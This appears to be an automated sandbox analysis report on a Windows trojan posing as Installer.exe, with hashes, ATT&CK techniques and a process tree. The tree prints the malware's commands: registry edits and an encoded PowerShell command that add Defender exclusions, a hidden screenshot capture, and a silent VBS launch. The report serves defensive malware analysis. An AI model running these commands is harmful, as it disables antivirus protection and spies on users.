f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/07/2026, 20:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Installer.exe
Size 168.1MB
Sample260705-y1kqpsbs8m
SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
MD5 df2352fff1deec3d9690c5957093130e
SHA1 1eefade8d8bc0b9f7bf1807e9b376340e8aa907c
SHA512 d5c98a909df656a48b7c389776578ce0886a544ebe0e5d5884a02f39f5780289e1deba7397941ff6839dc45a028abcd7f6c6656d3e9838d4aad2ef4d229f54fd
SSDEEP 1572864:wgRMg/aKxl4b7qCDQtjovZT78wLF2pArKgDz6ObiISXD+Dyj3eRalD2kGpTe/2Hk:cg/geeFXzGa9Fz
TLSH
T144887B03E2DA50D9F05DD1B18B979633EA72B84A4728B6DF265407162F77EE02B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 14 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Installer.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945\payload.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\payload.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2728	powershell.exe
3428	powershell.exe
3736	powershell.exe
956	powershell.exe
1108	powershell.exe
4432	powershell.exe
956	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	Installer.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
2572	cmd.exe

Hide Artifacts: Hidden Window 1 TTPs 6 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
436	cmd.exe
2572	cmd.exe
3856	cmd.exe
1896	cmd.exe
3832	cmd.exe
4560	cmd.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	api.ipify.org
7	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2572	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2728	powershell.exe
2728	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
3428	powershell.exe
3428	powershell.exe
3428	powershell.exe
3736	powershell.exe
3736	powershell.exe
956	powershell.exe
956	powershell.exe
956	powershell.exe
1108	powershell.exe
1108	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
1668	Installer.exe
1668	Installer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeShutdownPrivilege	1668	Installer.exe
Token: SeCreatePagefilePrivilege	1668	Installer.exe
Token: SeShutdownPrivilege	1668	Installer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1668	Installer.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 1064	1668	Installer.exe	84
PID 1668 wrote to memory of 3696	1668	Installer.exe	85
PID 3696 wrote to memory of 4008	3696	cmd.exe	87
PID 4008 wrote to memory of 2128	4008	net.exe	88
PID 1668 wrote to memory of 2204	1668	Installer.exe	89
PID 1668 wrote to memory of 2896	1668	Installer.exe	90
PID 1668 wrote to memory of 3832	1668	Installer.exe	95
PID 3832 wrote to memory of 2728	3832	cmd.exe	97
PID 1668 wrote to memory of 464	1668	Installer.exe	100
PID 464 wrote to memory of 3304	464	cmd.exe	102
PID 3304 wrote to memory of 3120	3304	net.exe	103
PID 1668 wrote to memory of 3624	1668	Installer.exe	104
PID 1668 wrote to memory of 3640	1668	Installer.exe	105
PID 1668 wrote to memory of 2340	1668	Installer.exe	107
PID 1668 wrote to memory of 512	1668	Installer.exe	109
PID 1668 wrote to memory of 2700	1668	Installer.exe	110
PID 1668 wrote to memory of 2112	1668	Installer.exe	111
PID 1668 wrote to memory of 2136	1668	Installer.exe	112
PID 1668 wrote to memory of 2596	1668	Installer.exe	114
PID 1668 wrote to memory of 2512	1668	Installer.exe	115
PID 1668 wrote to memory of 2604	1668	Installer.exe	116
PID 1668 wrote to memory of 3860	1668	Installer.exe	118
PID 1668 wrote to memory of 4912	1668	Installer.exe	120
PID 1668 wrote to memory of 3784	1668	Installer.exe	122
PID 2112 wrote to memory of 2032	2112	cmd.exe	130
PID 512 wrote to memory of 4936	512	cmd.exe	131
PID 3624 wrote to memory of 4024	3624	cmd.exe	132
PID 3640 wrote to memory of 2128	3640	cmd.exe	133
PID 2136 wrote to memory of 2572	2136	cmd.exe	134
PID 2340 wrote to memory of 2148	2340	cmd.exe	135
PID 2604 wrote to memory of 4364	2604	cmd.exe	136
PID 2700 wrote to memory of 2212	2700	cmd.exe	137
PID 2512 wrote to memory of 4292	2512	cmd.exe	138
PID 3860 wrote to memory of 768	3860	cmd.exe	139
PID 2596 wrote to memory of 4056	2596	cmd.exe	140
PID 4912 wrote to memory of 1696	4912	cmd.exe	141
PID 3784 wrote to memory of 4516	3784	cmd.exe	142
PID 1668 wrote to memory of 4560	1668	Installer.exe	143
PID 4560 wrote to memory of 3428	4560	cmd.exe	145
PID 1668 wrote to memory of 4348	1668	Installer.exe	147
PID 4348 wrote to memory of 1916	4348	cmd.exe	149
PID 1668 wrote to memory of 3876	1668	Installer.exe	150
PID 3876 wrote to memory of 4132	3876	cmd.exe	152
PID 1668 wrote to memory of 1508	1668	Installer.exe	153
PID 1508 wrote to memory of 2084	1508	cmd.exe	155
PID 1668 wrote to memory of 2172	1668	Installer.exe	156
PID 2172 wrote to memory of 1056	2172	cmd.exe	158
PID 1668 wrote to memory of 436	1668	Installer.exe	159
PID 436 wrote to memory of 3736	436	cmd.exe	161
PID 1668 wrote to memory of 2572	1668	Installer.exe	162
PID 2572 wrote to memory of 956	2572	cmd.exe	164
PID 1668 wrote to memory of 3856	1668	Installer.exe	165
PID 3856 wrote to memory of 1108	3856	cmd.exe	167
PID 1668 wrote to memory of 1896	1668	Installer.exe	179
PID 1896 wrote to memory of 4432	1896	cmd.exe	181

C:\Users\Admin\AppData\Local\Temp\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Installer.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1688 --field-trial-handle=1692,i,16620283053980234829,15005845876230506010,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  PID:1064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3696
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2128
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1956 --field-trial-handle=1692,i,16620283053980234829,15005845876230506010,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  PID:2204
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2224 --field-trial-handle=1692,i,16620283053980234829,15005845876230506010,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
  2⤵
  - Checks computer location settings
  PID:2896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283299090.png\"); $g.Dispose(); $bmp.Dispose()""
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:3832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283299090.png\"); $g.Dispose(); $bmp.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3304
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_5892d37e.vbs""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_5892d37e.vbs"
    3⤵
    PID:4024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:2148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:512
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945" /t REG_DWORD /d 0 /f
    3⤵
    PID:2212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
    3⤵
    PID:2572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283297945\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:4292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3860
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADIAOAAzADIAOQA3ADkANAA1ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMgA4ADMAMgA5ADcAOQA0ADUAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADIAOAAzADIAOQA3ADkANAA1ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBl